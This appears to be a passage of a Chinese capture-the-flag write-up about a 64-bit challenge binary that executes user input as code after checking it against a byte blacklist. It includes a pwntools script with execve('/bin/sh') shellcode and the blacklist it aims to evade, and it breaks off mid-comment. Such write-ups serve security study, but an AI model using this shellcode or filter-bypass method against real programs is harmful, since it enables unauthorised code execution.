64 位程序,未开启 NX 保护
给了 C 源码:
不存在溢出,对输入的内容进行检测,如果输入内容在黑名单内直接退出,否则当做代码执行
检查一下 shellcode 中哪些字符被过滤了
只需制作基本的 shellcode,然后比较哪个字节与模式匹配
测试脚本:
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process("./pwn")
blacklist = b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67"
shellcode = '''
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
'''
sc = asm(shellcode)
#如果有黑名